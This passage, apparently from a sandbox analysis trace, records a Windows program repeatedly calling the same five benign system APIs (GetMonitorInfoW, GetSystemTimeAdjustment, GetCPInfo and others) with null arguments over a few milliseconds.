lpmi=0x18fe38) returned 0 [0109.692] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.692] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.692] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.692] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.692] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.692] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.692] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.692] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.692] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.692] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.692] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.692] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.692] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.692] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.692] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.692] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.692] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.692] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.692] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.692] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.692] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.692] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.693] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.693] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.693] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.693] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.693] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.693] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.693] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.693] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.693] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.693] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.693] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.693] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.693] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.693] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.693] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.693] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.693] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.693] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.693] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.694] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.694] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.694] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.694] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.695] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.695] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.695] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.695] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.696] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.696] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.696] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.696] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, 